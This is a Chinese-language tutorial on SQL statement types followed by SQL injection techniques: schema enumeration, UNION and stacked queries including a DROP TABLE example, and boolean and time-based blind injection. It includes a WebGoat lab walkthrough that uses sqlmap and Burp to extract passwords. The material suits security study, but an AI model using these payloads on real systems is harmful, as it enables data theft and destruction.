SQL数据库的工作方式:
DML(Data Manipulation Language)
DML(Data Manipulation Language,数据操作语句) 用于操作数据的语言,DML语句允许你对数据库中的数据进行更改和查询,以满足特定的需求。通过结合不同的DML命令和语句,你可以实现对数据的灵活操作和处理。
DML包括最常见的:SELECT(查询),INSERT(插入),UPDATE(更新),DELETE(删除)。
基本语法:
- 插入数据(INSERT):用于向数据库表中插入新的数据行。
INSERT INTO 表名 (列1, 列2, 列3, ...) VALUES (值1, 值2, 值3, ...);
- 更新数据(UPDATE):用于更新数据库表中的现有数据。
UPDATE 表名 SET 列名1 = 值1, 列名2 = 值2, ... WHERE 条件;
- 删除数据(DELETE):用于从数据库表中删除数据行。
DELETE FROM 表名 WHERE 条件;
- 查询数据(SELECT):用于从数据库表中检索数据。
SELECT 列1, 列2, ... FROM 表名 WHERE 条件;
SELECT在sql注入中常用来信息采集
- 查询所有数据库
select group_concat(schema_name) from information_schema.schemata
- 查询某库的数据表
select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’
- 查询某表的所有列
select group_concat(column_name) from information_schema.columns where table_name=’xxxxx’
- 获取列的内容
select group_concat(id,username,password) from table.name
DDL(Data Definition Language)
数据定义语言(Data Definition Language,简称DDL)是一种用于定义和管理数据库结构的语言。它包括一系列的命令和语句,用于创建、修改和删除数据库对象,如表、视图、索引等。
DDL基本操作:
- 创建表(CREATE TABLE):
CREATE TABLE 表名 ( 列名1 数据类型1, 列名2 数据类型2, ... 约束1, 约束2, ... );
- 示例:
CREATE TABLE students ( id INT PRIMARY KEY, name VARCHAR(50), age INT );
- 示例:
- 修改表(ALTER TABLE):
ALTER TABLE 表名 ADD 列名 数据类型, MODIFY 列名 数据类型, DROP 列名;
- 示例:
ALTER TABLE students ADD score INT, MODIFY name VARCHAR(100), DROP age;
- 示例:
- 删除表(DROP TABLE):
DROP TABLE 表名;
- 示例:
DROP TABLE students;
- 示例:
- 创建视图(CREATE VIEW):
CREATE VIEW 视图名 AS 查询语句;
- 示例:
CREATE VIEW student_view AS SELECT id, name FROM students WHERE age > 18;
- 示例:
- 创建索引(CREATE INDEX):
CREATE INDEX 索引名 ON 表名 (列名);
- 示例:
CREATE INDEX idx_name ON students (name);
- 示例:
DCL(Data Control Language )
Data Control Language (DCL) 是用于控制数据库访问权限和安全性的一个语言,它包括了一些用于授予和撤销权限的命令和语句。DCL 用于定义用户访问数据库中数据的权限级别,以及管理与数据安全相关的操作。
常见的 DCL 命令和语句:
- 授予权限 (GRANT):
GRANT SELECT, INSERT, UPDATE ON 表名 TO 用户名;
- 示例:
GRANT SELECT, INSERT, UPDATE ON employees TO john;
- 示例:
- 撤销权限 (REVOKE):
REVOKE SELECT, INSERT, UPDATE ON 表名 FROM 用户名;
- 示例:
REVOKE SELECT, INSERT, UPDATE ON employees FROM john;
- 示例:
- 创建用户 (CREATE USER):
CREATE USER 用户名 IDENTIFIED BY '密码';
- 示例:
CREATE USER john IDENTIFIED BY 'password';
- 示例:
- 删除用户 (DROP USER):
DROP USER 用户名;
- 示例:
DROP USER john;
- 示例:
- 分配角色 (GRANT ROLE):
GRANT 角色名 TO 用户名;
- 示例:
GRANT admin_role TO john;
- 示例:
- 撤销角色 (REVOKE ROLE):
REVOKE 角色名 FROM 用户名;
- 示例:
REVOKE admin_role FROM john;
- 示例:
常用的sql注入技巧
信息采集过程中常用函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
SQL语法中的特殊字符:
/* */ 行内注释
-- , # 注释
Example: SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'
; 连接查询语句
Example: SELECT * FROM users; DROP TABLE users;
',+,|| allows string concatenation
Char() 没有引号的字符
Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
联合查询Union
联合查询用来结合两个或多个查询语句。
关于联合查询(UNION)需要注意的地方:
- 联合的每一个查询语句查询列数必须相同
如:SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
这样是不被允许的因为联合的两个SELECT查询字段数(高亮部分)必须相同; - The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …) SELECT Statement. The Same applies to all other columns.
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
The UNION ALL Syntax also allows duplicate Values.
靶场实例WebGoat
提示说了:第一个输入框是存在sql注入漏洞的
所以先试一下:[‘ or 1=1 –]
这里查询出了:user_data表单的内容

方法一
接下来使用联合查询,获取user_system_data的内容
构造联合查询语句有一个要求:
前后两个查询的查询字段数要相同,对应字段类型要相同

这里给出查询语句:SELECT * FROM user_data WHERE last_name = ‘ ‘ or 1=1 —‘(这个引号被注释掉了)
所以这句查询的内容为*(*代表查询所有字段),所以等于(注意:每个字段后跟的内容只是为了方便看清楚类型,真正的查询语句不带类型):
SELECT (userid int not null, first_name varchar(20), last_name varchar(20), cc_number varchar(30), cc_type varchar(10), cookie varchar(20), login_count int) FROM user_data WHERE last_name = ‘ ‘ or 1=1 —‘(这个引号被注释掉了)
这是两张表的字段及其字段类型:

所以我们在构造联合查询语句时要构造相同的查询字段数和字段类型(这里给出一个payload,payload不唯一,有背景色部分为输入框中输入内容):
SELECT userid, first_name, last_name, cc_number, cc_type, cookie, login_count FROM user_data WHERE last_name = ‘‘ UNION SELECT 1,user_name,password,cookie,user_name,password,1 FROM user_system_data where cookie = ” or 1=1 — ‘

获取所有用户密码
方法二
提示说我可以使用一个新的查询来获取另一个表单内容:
用;可以结束上一个语句开始下一个语句:SELECT * FROM user_data WHERE last_name = ‘‘ ; SELECT * FROM user_system_data —‘

同样可以拿到信息
SqlBlind(sql盲注)
对于普通的sql注入漏洞条件是苛刻的因为不会有哪个网站把数据库回显的信息发送给你,对于查询错误回显的内容只有一个错误信息(或者错误页面),你无法通过数据库回显直接查看出你要查看的内容,所以盲注就相当于是一种猜测的方式来获取数据。
例子:
现在小明有一个单词sqlblind,我要知道这个单词就可以问小明:
我:这个单词的第一个字母是不是’a’
小明:不是
我:这个单词的第一个字母是不是’b’
小明:不是
………
我:这个单词的第一个字母是不是’s’
小明:是
然后我开始问第二个字母
我:这个单词的第二个字母是不是’a’
………
我:这个单词的第八个字母是不是’d’
小明:是
因为我不知道这个单词有几个字母,所有我还要继续问,当所有26个字母都不是时,我就知道这个单词又八个字母构成。
我:这个单词的第九个字母是不是’a’
小明:不是
………
我:这个单词的第九个字母是不是’z’
小明:不是
我现在知道单词由8个字母构成,第一个字母是’s’,第一个字母是’q’,…….,第8个字母是’d’。
我就知道了小明的字母是sqlblind
让我们首先从普通SQL注入和盲目SQL注入之间的区别开始。在普通的SQL注入中,会显示来自数据库的错误消息,并提供足够的信息来了解查询的工作方式。或者在基于UNION的SQL注入的情况下,应用程序不直接在web页面上反映信息。因此,在没有显示任何内容的情况下,您将需要开始根据真或假陈述向数据库询问问题。这就是为什么盲目的SQL注入很难被利用。
在这种情况下,我们试图问数据库一个布尔问题例如一个唯一的id,假设我们有以下url: https://my-shop.com?article=4在服务器端这个查询将被转换为如下语句:
SELECT * FROM articles WHERE article_id =4
当我们想利用这一点,我们改变url为:https://shop.example.com?article=4 AND 1=1,这将被转换为:
SELECT * FROM articles WHERE article_id =4 and 1 = 1
如果浏览器将返回与使用https://shop.example.com?article=4时相同的页面,
你可以在试试:https://shop.example.com?article=4 AND 1=2
SELECT * FROM articles WHERE article_id =4 and 1 = 2
如果这里返回的页面是错误页面,则说明你就可以通过正确和错误页面判断出,哪些查询信息是正确的(就跟上述例子一样判断出正确的字母组成一个完成的单词)
上面我们只问了数据库一些琐碎的问题,但是你也可以使用下面的:
url: https://shop.example.com?article=4 AND substring(database_version(),1,1) = 2
大多数情况下,你从查找使用的数据库类型开始,根据数据库的类型,你可以找到数据库的系统表,你可以枚举数据库中存在的所有表。有了这些信息,您就可以开始从所有表中获取信息,并且可以转储数据库。请注意,如果数据库的特权设置正确(这意味着不能使用用于从web应用程序连接到数据库的用户查询系统表),则此方法可能无法工作。
time-based SQL injection(基于时间的SQL注入)
另一种方法称为time-based SQL injection(基于时间的SQL注入,有点像侧信道攻击),是盲注的一种,对于不能通过正确或错误页面来判断内容是否正确时(正确或者错误返回的页面没有区别),我们就可以用延时来判断是否可以执行sql语句,我们输入这段语句:
https://shop.example.com?article=4 ; sleep(10) --
https://shop.example.com?article=4
如果两次返回的时间有区别则说明存在sql注入漏洞;
接下来我们就可以通过时间区别判断内容的对错,例如如下语句:
https://shop.example.com?article=4 and if(lenth(database())>10,sleep(10),0) —
到后端就会被转换成如下语句:
SELECT * FROM articles WHERE article_id =4 and if(lenth(database())>10,sleep(10),0) --
意思是如果数据库名的长度大于10,就等待10秒再返回,否则直接返回。
由于正确查询和错误查询的时间是不同的,在这种情况下,判断等待的时间就可以知道内容对错。
靶场实例WebGoat—布尔盲注


当前页面有两张表单,注册表和登录表
首先我们要先判断哪张表单存在漏洞
先用burpsuit抓取两张表单的请求包,并放入/home/kali/桌面/request.txt下:
接下来使用sqlmap对请求包做测试,发现是注册表单存在漏洞
sqlmap -r "/home/kali/桌面/request.txt" #指定请求文件测试

发现有一个参数‘username_reg’存在sql注入漏洞
sqlmap -r "/home/kali/桌面/request.txt" --current-db --no-cast #指定请求文件测试,并查找当前数据库名,不使用强制字符转换

发现有数据库名为PUBLIC

这里不能扫描出PUBLIC库中的表
使用burpsuite对密码字段进行爆破:
将爆破位置进行参数化
tom’ and substring(password,$1$,1)=‘$2$’—

构造payload:第一个变量为1-23,第二个变量为1-23+a-z;
